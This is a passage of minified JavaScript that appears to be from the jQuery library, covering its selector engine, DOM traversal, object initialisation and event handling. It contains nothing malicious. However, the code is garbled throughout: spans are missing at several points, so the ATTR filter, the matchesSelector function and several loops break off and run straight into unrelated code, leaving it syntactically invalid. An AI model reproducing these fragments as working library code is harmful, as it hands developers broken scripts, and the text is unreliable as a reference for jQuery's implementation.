n?[n]:[]}}):(b.filter.ID=function(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((n=o.getAttributeNode("id"))&&n.value===e)return[o];i=t.getElementsByName(e),r=0;while(o=i[r++])if((n=o.getAttributeNode("id"))&&n.value===e)return[o]}return[]}}),b.find.TAG=d.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):d.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){while(n=o[i++])1===n.nodeType&&r.push(n);return r}return o},b.find.CLASS=d.getElementsByClassName&&function(e,t){if("undefined"!=typeof t.getElementsByClassName&&E)return t.getElementsByClassName(e)},s=[],v=[],(d.qsa=K.test(C.querySelectorAll))&&(ce(function(e){a.appendChild(e).innerHTML="",e.querySelectorAll("[msallowcapture^='']").length&&v.push("[*^$]="+M+"*(?:''|\"\")"),e.querySelectorAll("[selected]").length||v.push("\\["+M+"*(?:value|"+R+")"),e.querySelectorAll("[id~="+k+"-]").length||v.push("~="),e.querySelectorAll(":checked").length||v.push(":checked"),e.querySelectorAll("a#"+k+"+*").length||v.push(".#.+[+~]")}),ce(function(e){e.innerHTML="";var t=C.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&v.push("name"+M+"*[*^$|!~]?="),2!==e.querySelectorAll(":enabled").length&&v.push(":enabled",":disabled"),a.appendChild(e).disabled=!0,2!==e.querySelectorAll(":disabled").length&&v.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),v.push(",.*:")})),(d.matchesSelector=K.test(c=a.matches||a.webkitMatchesSelector||a.mozMatchesSelector||a.oMatchesSelector||a.msMatchesSelector))&&ce(function(e){d.disconnectedMatch=c.call(e,"*"),c.call(e,"[s!='']:x"),s.push("!=",$)}),v=v.length&&new RegExp(v.join("|")),s=s.length&&new RegExp(s.join("|")),t=K.test(a.compareDocumentPosition),y=t||K.test(a.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)while(t=t.parentNode)if(t===e)return!0;return!1},D=t?function(e,t){if(e===t)return l=!0,0;var n=!e.compareDocumentPosition-!t.compareDocumentPosition;return n||(1&(n=(e.ownerDocument||e)===(t.ownerDocument||t)?e.compareDocumentPosition(t):1)||!d.sortDetached&&t.compareDocumentPosition(e)===n?e===C||e.ownerDocument===m&&y(m,e)?-1:t===C||t.ownerDocument===m&&y(m,t)?1:u?P(u,e)-P(u,t):0:4&n?-1:1)}:function(e,t){if(e===t)return l=!0,0;var n,r=0,i=e.parentNode,o=t.parentNode,a=[e],s=[t];if(!i||!o)return e===C?-1:t===C?1:i?-1:o?1:u?P(u,e)-P(u,t):0;if(i===o)return pe(e,t);n=e;while(n=n.parentNode)a.unshift(n);n=t;while(n=n.parentNode)s.unshift(n);while(a[r]===s[r])r++;return r?pe(a[r],s[r]):a[r]===m?-1:s[r]===m?1:0}),C},se.matches=function(e,t){return se(e,null,null,t)},se.matchesSelector=function(e,t){if((e.ownerDocument||e)!==C&&T(e),d.matchesSelector&&E&&!A[t+" "]&&(!s||!s.test(t))&&(!v||!v.test(t)))try{var n=c.call(e,t);if(n||d.disconnectedMatch||e.document&&11!==e.document.nodeType)return n}catch(e){A(t,!0)}return 0":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(te,ne),e[3]=(e[3]||e[4]||e[5]||"").replace(te,ne),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||se.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&se.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return G.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&X.test(n)&&(t=h(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(te,ne).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=p[e+" "];return t||(t=new RegExp("(^|"+M+")"+e+"("+M+"|$)"))&&p(e,function(e){return t.test("string"==typeof e.className&&e.className||"undefined"!=typeof e.getAttribute&&e.getAttribute("class")||"")})},ATTR:function(n,r,i){return function(e){var t=se.attr(e,n);return null==t?"!="===r:!r||(t+="","="===r?t===i:"!="===r?t!==i:"^="===r?i&&0===t.indexOf(i):"*="===r?i&&-1:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i;function j(e,n,r){return m(n)?k.grep(e,function(e,t){return!!n.call(e,t,e)!==r}):n.nodeType?k.grep(e,function(e){return e===n!==r}):"string"!=typeof n?k.grep(e,function(e){return-1)[^>]*|#([\w-]+))$/;(k.fn.init=function(e,t,n){var r,i;if(!e)return this;if(n=n||q,"string"==typeof e){if(!(r="<"===e[0]&&">"===e[e.length-1]&&3<=e.length?[null,e,null]:L.exec(e))||!r[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(r[1]){if(t=t instanceof k?t[0]:t,k.merge(this,k.parseHTML(r[1],t&&t.nodeType?t.ownerDocument||t:E,!0)),D.test(r[1])&&k.isPlainObject(t))for(r in t)m(this[r])?this[r](t[r]):this.attr(r,t[r]);return this}return(i=E.getElementById(r[2]))&&(this[0]=i,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):m(e)?void 0!==n.ready?n.ready(e):e(k):k.makeArray(e,this)}).prototype=k.fn,q=k(E);var H=/^(?:parents|prev(?:Until|All))/,O={children:!0,contents:!0,next:!0,prev:!0};function P(e,t){while((e=e[t])&&1!==e.nodeType);return e}k.fn.extend({has:function(e){var t=k(e,this),n=t.length;return this.filter(function(){for(var e=0;e\x20\t\r\n\f]*)/i,he=/^$|^module$|\/(?:java|ecma)script/i,ge={option:[1,""],thead:[1,""],col:[2,""],tr:[2,""],td:[3,""],_default:[0,"",""]};function ve(e,t){var n;return n="undefined"!=typeof e.getElementsByTagName?e.getElementsByTagName(t||"*"):"undefined"!=typeof e.querySelectorAll?e.querySelectorAll(t||"*"):[],void 0===t||t&&A(e,t)?k.merge([e],n):n}function ye(e,t){for(var n=0,r=e.length;nx",y.noCloneChecked=!!me.cloneNode(!0).lastChild.defaultValue;var Te=/^key/,Ce=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,Ee=/^([^.]*)(?:\.(.+)|)/;function ke(){return!0}function Se(){return!1}function Ne(e,t){return e===function(){try{return E.activeElement}catch(e){}}()==("focus"===t)}function Ae(e,t,n,r,i,o){var a,s;if("object"==typeof t){for(s in"string"!=typeof n&&(r=r||n,n=void 0),t)Ae(e,s,n,r,t[s],o);return e}if(null==r&&null==i?(i=n,r=n=void 0):null==i&&("string"==typeof n?(i=r,r=void 0):(i=r,r=n,n=void 0)),!1===i)i=Se;else if(!i)return e;return 1===o&&(a=i,(i=function(e){return k().off(e),a.apply(this,arguments)}).guid=a.guid||(a.guid=k.guid++)),e.each(function(){k.event.add(this,t,i,r,n)})}function De(e,i,o){o?(Q.set(e,i,!1),k.event.add(e,i,{namespace:!1,handler:function(e){var t,n,r=Q.get(this,i);if(1&e.isTrigger&&this[i]){if(r.length)(k.event.special[i]||{}).delegateType&&e.stopPropagation();else if(r=s.call(arguments),Q.set(this,i,r),t=o(this,i),this[i](),r!==(n=Q.get(this,i))||t?Q.set(this,i,!1):n={},r!==n)return e.stopImmediatePropagation(),e.preventDefault(),n.value}else r.length&&(Q.set(this,i,{value:k.event.trigger(k.extend(r[0],k.Event.prototype),r.slice(1),this)}),e.stopImmediatePropagation())}})):void 0===Q.get(e,i)&&k.event.add(e,i,ke)}k.event={global:{},add:function(t,e,n,r,i){var o,a,s,u,l,c,f,p,d,h,g,v=Q.get(t);if(v){n.handler&&(n=(o=n).handler,i=o.selector),i&&k.find.matchesSelector(ie,i),n.guid||(n.guid=k.guid++),(u=v.events)||(u=v.events={}),(a=v.handle)||(a=v.handle=function(e){return"undefined"!=typeof k&&k.event.triggered!==e.type?k.event.dispatch.apply(t,arguments):void 0}),l=(e=(e||"").match(R)||[""]).length;while(l--)d=g=(s=Ee.exec(e[l])||[])[1],h=(s[2]||"").split(".").sort(),d&&(f=k.event.special[d]||{},d=(i?f.delegateType:f.bindType)||d,f=k.event.special[d]||{},c=k.extend({type:d,origType:g,data:r,handler:n,guid:n.guid,selector:i,needsContext:i&&k.expr.match.needsContext.test(i),namespace:h.join(".")},o),(p=u[d])||((p=u[d]=[]).delegateCount=0,f.setup&&!1!==f.setup.call(t,r,h,a)||t.addEventListener&&t.addEventListener(d,a)),f.add&&(f.add.call(t,c),c.handler.guid||(c.handler.guid=n.guid)),i?p.splice(p.delegateCount++,0,c):p.push(c),k.event.global[d]=!0)}},remove:function(e,t,n,r,i){var o,a,s,u,l,c,f,p,d,h,g,v=Q.hasData(e)&&Q.get(e);if(v&&(u=v.events)){l=(t=(t||"").match(R)||[""]).length;while(l--)if(d=g=(s=Ee.exec(t[l])||[])[1],h=(s[2]||"").split(".").sort(),d){f=k.event.special[d]||{},p=u[d=(r?f.delegateType:f.bindType)||d]||[],s=s[2]&&new RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"),a=o=p.length;while(o--)c=p[o],!i&&g!==c.origType||n&&n.guid!==c.guid||s&&!s.test(c.namespace)||r&&r!==c.selector&&("**"!==r||!c.selector)||(p.splice(o,1),c.selector&&p.delegateCount--,f.remove&&f.remove.call(e,c));a&&!p.length&&(f.teardown&&!1!==f.teardown.call(e,h,v.handle)||k.removeEvent(e,d,v.handle),delete u[d])}else for(d in u)k.event.remove(e,d+t[l],n,r,!0);k.isEmptyObject(u)&&Q.remove(e,"handle events")}},dispatch:function(e){var t,n,r,i,o,a,s=k.event.fix(e),u=new Array(arguments.length),l=(Q.get(this,"events")||{})[s.type]||[],c=k.event.special[s.type]||{};for(u[0]=s,t=1;t\x20\t\r\n\f]*)[^>]*)\/>/gi,qe=/